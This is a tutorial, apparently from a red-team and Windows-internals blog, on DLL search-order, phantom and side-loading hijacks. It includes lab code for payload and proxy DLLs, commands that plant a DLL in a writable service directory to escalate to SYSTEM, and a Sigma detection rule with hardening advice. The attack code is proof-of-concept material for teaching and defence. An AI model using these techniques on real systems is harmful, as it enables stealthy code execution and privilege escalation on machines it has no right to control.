DLL Search Order and Hijacking Primitives
You’ve found a signed, well-known executable that loads a DLL by base name. That single missing path separator is the whole game. The Windows loader will walk a predictable list of directories looking for that name, and if you can write to a directory that comes up before the real one, your code runs inside a trusted process.
Objective: Understand exactly how the Windows loader resolves a DLL name at load time, the ordered pre-search checks and directory search it performs, and how each stage becomes an execution primitive: search-order hijacking, phantom hijacking, side-loading, and service-based privilege escalation. Then build every variant against a self-authored lab target and detect it.
1. Windows DLL Architecture Fundamentals
A DLL is a PE image with an export table and an optional entry point. That entry point, DllMain, is the reason DLL hijacking is a code-execution primitive at all: the loader calls it with fdwReason = DLL_PROCESS_ATTACH the moment the image is mapped and initialized, before the host even uses a single export. You do not need to implement any of the functions the host actually wants. Drop your logic in DLL_PROCESS_ATTACH and it fires.
Two linking models decide whether a hijack is even possible:
| Linking model | How the DLL name enters | Hijackable |
|---|---|---|
| Implicit (load-time) | Import table names the DLL; loader resolves it during process init | Yes, if resolved by base name |
| Explicit (run-time) | Code calls LoadLibrary / LoadLibraryEx + GetProcAddress | Yes, if the call passes a bare name |
The dangerous pattern in both cases is the same: a base name with no path separator. LoadLibraryA("helper.dll") triggers the full search order. LoadLibraryA("C:\\Program Files\\App\\helper.dll") does not. Everything in this article hinges on that distinction.
2. The Loader Resolution Pipeline in Depth
Before the loader ever touches a directory on disk, ntdll!LdrLoadDll runs a series of pre-search checks. Understanding this ordering tells you which DLLs are hijackable and which are wasted effort.
| Step | Mechanism | Backing store |
|---|---|---|
| 1 | Loaded-module list. If a module with that base name is already mapped, its handle is returned with no disk search. | PEB.Ldr (PEB_LDR_DATA → InLoadOrderModuleList) |
| 2 | KnownDLLs. Vetted system DLLs pre-mapped as named section objects. Match here and no search occurs. | HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs |
| 3 | DLL redirection. A .local file or folder next to the EXE forces loads to the app folder. | <AppName>.exe.local |
| 4 | API sets. Virtual names (api-ms-win-*, ext-ms-win-*) resolved via the schema in ntdll.dll. | ntdll!ApiSetResolveToHost |
| 5 | Side-by-side (SxS). A manifest pins a specific assembly version from WinSxS. | <dependency> element, resolved by SxS.dll |
The KnownDLLs list is the key defensive control. kernel32.dll, ntdll.dll, ole32.dll, and friends are pre-created section objects owned by SYSTEM, so planting a local kernel32.dll next to an app does nothing. This is why hijack hunters ignore core system DLLs and go straight for the second tier: DLLs that live in System32 but are not in KnownDLLs (version.dll, dbghelp.dll, cryptsp.dll, and many others), plus optional dependencies that may not exist at all.
The PEB.Ldr structure is worth knowing because your detection and your verification both read it:
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase; // load address of the mapped image
PVOID EntryPoint; // DllMain
ULONG SizeOfImage;
UNICODE_STRING FullDllName; // full path the loader resolved
UNICODE_STRING BaseDllName; // "helper.dll"
ULONG Flags;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
To watch resolution live, break on the loader in WinDbg:
bp ntdll!LdrLoadDll
g
; when it breaks, dump the requested name (3rd arg is PUNICODE_STRING on x64: r8)
du @@c++(((_UNICODE_STRING*)@r8)->Buffer)
; after it returns, list modules and confirm the resolved FullDllName
lm m helper
!peb
FullDllName is ground truth. If it points at your planted copy, the hijack landed.

3. Standard vs. Altered Search Orders
With SafeDllSearchMode enabled (the default since XP SP2), the on-disk search runs in this order:
- The application directory.
- The system directory (
%SystemRoot%\System32, viaGetSystemDirectory). - The 16-bit system directory (
%SystemRoot%\System, no query API, always searched). - The Windows directory (
%SystemRoot%, viaGetWindowsDirectory). - The current working directory.
- Each directory in
PATH.
The application directory is first. That is the whole reason co-locating a malicious DLL with a host EXE works. Now flip the switch:
| Feature | SafeDllSearchMode = 1 | SafeDllSearchMode = 0 |
|---|---|---|
| CWD position | 5th | 2nd (right after app dir) |
| Registry key | ...\Session Manager\SafeDllSearchMode | Same key set to 0 |
| Practical impact | CWD hard to weaponize | CWD becomes a trivial plant target |
Developers can shrink or eliminate the attack surface with LoadLibraryEx flags and process-wide policy:
| API / flag | Effect |
|---|---|
LOAD_WITH_ALTERED_SEARCH_PATH | Start the search in the folder of the module being loaded, not the caller’s dir |
LOAD_LIBRARY_SEARCH_SYSTEM32 | Restrict search to System32 only |
LOAD_LIBRARY_SEARCH_APPLICATION_DIR | Restrict search to the app directory |
LOAD_LIBRARY_SEARCH_USER_DIRS | Search only paths added via AddDllDirectory |
SetDefaultDllDirectories | Lock the whole process to a safe search set for its lifetime |
SetDllDirectory("") | Remove the current directory from the search path |
One trap that bites people: SearchPath does not honor safe search mode unless you first call SetSearchPathMode with BASE_SEARCH_PATH_ENABLE_SAFE_SEARCHMODE. Code that resolves a DLL path with SearchPath and then LoadLibrarys the result is quietly reintroducing the CWD-first behavior everyone thinks was fixed in 2004.

4. Reconnaissance: Finding Hijackable Gaps
The workhorse is Sysinternals Process Monitor. Launch the target, then filter for the loader missing a file:
# ProcMon include filters:
Process Name is VulnApp.exe
Path ends with .dll
Result is NAME NOT FOUND -> search-order candidate (real DLL exists elsewhere)
Result is PATH NOT FOUND -> phantom candidate (DLL missing entirely)
Every NAME NOT FOUND in the application directory followed by a later SUCCESS in System32 is a search-order opportunity. Every DLL that never resolves anywhere is a phantom target, the cleanest kind because you overwrite nothing.
Confirm the target actually links to what you think, and check whether you can write where you need to:
dumpbin /dependents VulnApp.exe
icacls "C:\LabApps\VulnApp\"
:: look for BUILTIN\Users:(W) or (M) or (F)
Sweep PATH for user-writable directories, a common overlooked plant location:
($env:PATH -split ';') | ForEach-Object {
$dir = $_.Trim()
if ($dir -and (Test-Path $dir)) {
$acl = Get-Acl $dir -ErrorAction SilentlyContinue
if ($acl.AccessToString -match 'Users.*(Write|Modify|FullControl)') {
Write-Host "[WRITABLE] $dir"
}
}
}
5. Primitive 1 – Search-Order Hijacking (Lab)
Build the intentionally vulnerable target. It loads a real second-tier system DLL by bare name.
// VulnApp.c -- lab target. cl VulnApp.c /Fe:VulnApp.exe
#include <windows.h>
#include <stdio.h>
int main(void) {
printf("[*] VulnApp starting. Loading version.dll by name...\n");
HMODULE h = LoadLibraryA("version.dll"); // BAD: bare name, full search order
if (h) {
char path[MAX_PATH];
GetModuleFileNameA(h, path, MAX_PATH);
printf("[+] version.dll loaded from: %s\n", path);
}
getchar();
return 0;
}
version.dll exists in System32 but is not a KnownDLL, so the application directory (searched first) wins. Build the payload DLL:
// payload.c -- PoC. cl /LD payload.c /Fe:version.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID r) {
if (reason == DLL_PROCESS_ATTACH)
WinExec("calc.exe", SW_SHOW); // lab proof; swap for authorized loader in ops
return TRUE;
}
Plant and trigger:
copy version.dll "C:\LabApps\VulnApp\version.dll"
"C:\LabApps\VulnApp\VulnApp.exe"
:: calc launches, and the printed path points at C:\LabApps\VulnApp\version.dll
A gotcha that cost me an afternoon early on: architecture mismatch. If VulnApp.exe is x64 and you compiled the DLL x86, the loader just skips your image with no visible error and quietly loads the real one. Build the DLL for the same architecture as the host. Check with dumpbin /headers if in doubt.
6. Primitive 2 – Phantom DLL Hijacking (Lab)
Phantom hijacking targets a DLL the process tries to load but that does not exist anywhere. Nothing is displaced, so there is no functionality to break and nothing looks “replaced” on disk. Rebuild the target to reference a nonexistent optional helper:
// VulnApp_phantom.c -- cl VulnApp_phantom.c /Fe:VulnApp.exe
#include <windows.h>
#include <stdio.h>
int main(void) {
printf("[*] Loading optional plugin: helper.dll...\n");
HMODULE h = LoadLibraryA("helper.dll");
if (!h) printf("[-] helper.dll absent (phantom opportunity)\n");
else printf("[+] helper.dll loaded\n");
getchar();
return 0;
}
Under ProcMon you’ll see helper.dll return NAME NOT FOUND in every searched directory. Compile the same payload.c as helper.dll, drop it in the app directory, and rerun. Because the loader was failing gracefully before, your DLL is now the only helper.dll in the search path and it loads clean. In the wild these are the highest-value targets: real software ships with dozens of optional dependency loads that never resolve, and each one is a plant point that breaks nothing.
7. Primitive 3 – DLL Side-Loading with a Proxy DLL
Side-loading (T1574.002) pairs a legitimate, usually signed, host binary with a planted DLL in the same folder. The trust in the EXE laundered onto your code is the point. The challenge is that the host expects the DLL’s real exports, so a bare DllMain payload makes it crash. The fix is a proxy (forwarding) DLL that forwards every export to the genuine library while still running your DllMain.
First enumerate the real exports:
dumpbin /exports C:\Windows\System32\version.dll
Then forward them. The subtle part: you cannot forward version.dll exports to a module also named version, or you build an infinite loop that forwards to yourself. Copy the genuine DLL to a new name and forward to that:
copy C:\Windows\System32\version.dll C:\LabApps\SideLoad\version_orig.dll
// proxy_version.c -- cl /LD proxy_version.c /Fe:version.dll
// Forward every export to the renamed genuine DLL; run payload in DllMain.
#pragma comment(linker, "/export:GetFileVersionInfoA=version_orig.GetFileVersionInfoA,@1")
#pragma comment(linker, "/export:GetFileVersionInfoW=version_orig.GetFileVersionInfoW,@2")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=version_orig.GetFileVersionInfoSizeA,@3")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=version_orig.GetFileVersionInfoSizeW,@4")
#pragma comment(linker, "/export:VerQueryValueA=version_orig.VerQueryValueA,@5")
#pragma comment(linker, "/export:VerQueryValueW=version_orig.VerQueryValueW,@6")
// ...continue for every export dumpbin reported...
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID r) {
if (reason == DLL_PROCESS_ATTACH)
WinExec("calc.exe", SW_SHOW); // PoC; replace for authorized assessment
return TRUE;
}
Place both version.dll (the proxy) and version_orig.dll next to the signed host that loads version.dll by relative name, then launch the host. The application behaves normally because every call is forwarded, while your DllMain fires once at attach. This is exactly the pattern that makes malicious DLLs “appear to behave normally” under casual inspection.
For anything larger than version.dll, harvest the pragmas programmatically instead of by hand. Parsing dumpbin /exports output into /export: lines is a ten-line script and removes a whole class of typos.

8. Privilege Escalation via Service DLL Hijacking
The stakes change when the vulnerable process runs as SYSTEM. A DLL loaded by a SYSTEM service inherits SYSTEM. Hunt for services whose binary directory is user-writable:
:: Enumerate a service's binary path and start type
sc qc VulnService
:: Check directory ACLs for write/modify by non-admins
accesschk.exe -uwdq "C:\Program Files\VulnService\" -accepteula
accesschk -w shows write access, -u suppresses errors, -d limits to the directory object, -q drops the banner. If BUILTIN\Users or Authenticated Users has write there and the service auto-starts as SYSTEM, drop a payload DLL matching one the service loads by name and cycle it:
copy payload_as_dependency.dll "C:\Program Files\VulnService\<hijackable>.dll"
net stop VulnService && net start VulnService
:: or simply wait for the next reboot for auto-start services
Confirm the integrity level of the resulting process (Process Hacker will show System integrity), and you have escalated from a standard user to SYSTEM without touching a kernel bug. The misconfiguration, a writable privileged application directory, is the entire vulnerability.
9. Common Attacker Techniques
| Technique | Description |
|---|---|
| Search-order hijacking | Plant a DLL with the target name in a directory searched before the real one, usually the app dir |
| Phantom hijacking | Supply a DLL the process tries but fails to load; nothing is overwritten |
| DLL side-loading | Co-locate a proxy DLL with a signed host binary; forward exports to stay functional |
| Relative-path / preloading | Influence the CWD (web share, file dialog, installer) so a bare-name load resolves to attacker content |
| DLL redirection abuse | Create <App>.exe.local or set the registry redirect to force loads into a controlled folder |
| Proxy / forwarding DLL | Forward all legitimate exports so the host runs normally while DllMain executes payload |
The recurring enablers are a bare-name load plus a writable directory earlier in the search order. Remove either and the primitive collapses.
10. Defensive Strategies & Detection
Module loads are visible. Sysmon Event ID 7 (ImageLoaded) is the core signal, backed by supporting events:
| Event ID | Name | What it catches |
|---|---|---|
7 | ImageLoaded | The DLL being mapped: path, hashes, signature status |
1 | Process Create | Signed host EXE launching from an odd path (side-load precursor) |
11 | FileCreate | The DLL being written to disk (the plant step) |
12 / 13 | Registry | Tampering with KnownDLLs or SafeDllSearchMode |
Event ID 7 is off by default and extremely high volume. Do not enable it globally without filters. Scope it to high-risk hosts (rundll32.exe, regsvr32.exe, Office, browsers, script hosts) or to unsigned images loading from user-writable paths. A single weak signal like “unsigned DLL” is noisy; the fidelity comes from correlating host image, loaded-DLL path, and signature status together.
title: Suspicious DLL Load from Writable User-Space Path
status: experimental
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 7
Signed: 'false'
ImageLoaded|contains:
- '\AppData\'
- '\Temp\'
- '\Users\'
- '\ProgramData\'
filter_legit:
ImageLoaded|startswith:
- 'C:\Windows\System32\'
- 'C:\Windows\WinSxS\'
condition: selection and not filter_legit
level: high
At the ETW layer, the underlying providers are worth targeting directly if you build your own sensor:
| Provider | GUID | Use |
|---|---|---|
Microsoft-Windows-ImageLoad | {2cb15d1d-5fc1-11d2-abe1-00a0c911f518} | Module load events (basis for Sysmon EID 7) |
Microsoft-Windows-Kernel-Process | {22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716} | Kernel process/thread/image-load events |
Microsoft-Windows-Security-Auditing | n/a | Enable Audit Object Access for writes to sensitive dirs |
Monitor these registry keys for tampering that reopens the primitive:
| Key | Threat |
|---|---|
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs | Removing an entry strips its protected status |
HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode | Setting 0 moves CWD to second in the order |
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable | Enables .local redirection globally |
Hardening splits between developers and defenders. Developers should pass fully qualified paths to LoadLibraryEx, use the LOAD_LIBRARY_SEARCH_* flags or SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32) at startup, and never call SearchPath without enabling safe search mode first. Defenders should enforce ACLs so no non-admin can write to a privileged app directory, strip user-writable entries from PATH, and deploy Windows Defender Application Control (WDAC) with Enabled:UMCI so only DLLs from trusted locations load at all. WDAC is the single control that neutralizes the entire class regardless of how the DLL got planted.

11. Tools for DLL Hijacking Analysis
| Tool | Description | Link |
|---|---|---|
| Process Monitor | Capture NAME NOT FOUND / PATH NOT FOUND loader events | learn.microsoft.com |
| Process Hacker / System Informer | Inspect loaded modules, image paths, integrity level | systeminformer.sourceforge.io |
| Autoruns | Spot hijacked DLLs surviving reboot | learn.microsoft.com |
| accesschk | Enumerate writable service and app directories | learn.microsoft.com |
| dumpbin | List /dependents and /exports for proxy building | learn.microsoft.com |
| CFF Explorer | GUI PE import/export inspection | ntcore.com |
| WinDbg | Break on ntdll!LdrLoadDll, walk the LDR list | learn.microsoft.com |
12. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Hijack Execution Flow | T1574 | Sysmon EID 7 + signature/path correlation |
| DLL Search Order Hijacking | T1574.001 | Unsigned DLL loaded from app/user dir before System32 |
| DLL Side-Loading | T1574.002 | Signed host EXE loading unsigned relative-name DLL (EID 1 + 7) |
| Path Interception by Search Order Hijacking | T1574.008 | New file in a search-path dir preceding the intended target (EID 11) |
Tactics span Persistence (TA0003), Privilege Escalation (TA0004), and Defense Evasion (TA0005). Search-order and phantom hijacking map to T1574.001; side-loading is specifically T1574.002.
Summary
- DLL hijacking exists because the loader resolves bare DLL names through a predictable, writable search order, and
DllMainexecutes on attach. - Pre-search checks (loaded-module list, KnownDLLs, redirection, API sets, SxS) decide what is hijackable; second-tier System32 DLLs and phantom dependencies are the real targets.
- The three primitives are search-order (plant before the real DLL), phantom (supply a DLL that was missing), and side-loading (proxy DLL forwarding exports next to a signed host); a writable privileged app directory turns any of them into SYSTEM.
- Detect with Sysmon Event ID 7 correlated against image path and signature status, back it with EID 1 and 11, and audit
KnownDLLs/SafeDllSearchMode. - Kill the class with full-path loads,
SetDefaultDllDirectories, hardened ACLs, and WDAC that only allows DLLs from trusted locations.
Related Tutorials
- APCs: Asynchronous Procedure Calls and Thread Hijacking Surface
- Access Tokens and Privileges: The Kernel’s Security Context
- SIDs and Security Descriptors: Identity in Windows Security
- Fibers: User-Mode Cooperative Threads
- Jobs and Silos: Process Grouping and Resource Limits
References
- learn.microsoft.com
- learn.microsoft.com
- learn.microsoft.com
- learn.microsoft.com
- attack.mitre.org
- attack.mitre.org
- attack.mitre.org
- unit42.paloaltonetworks.com
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.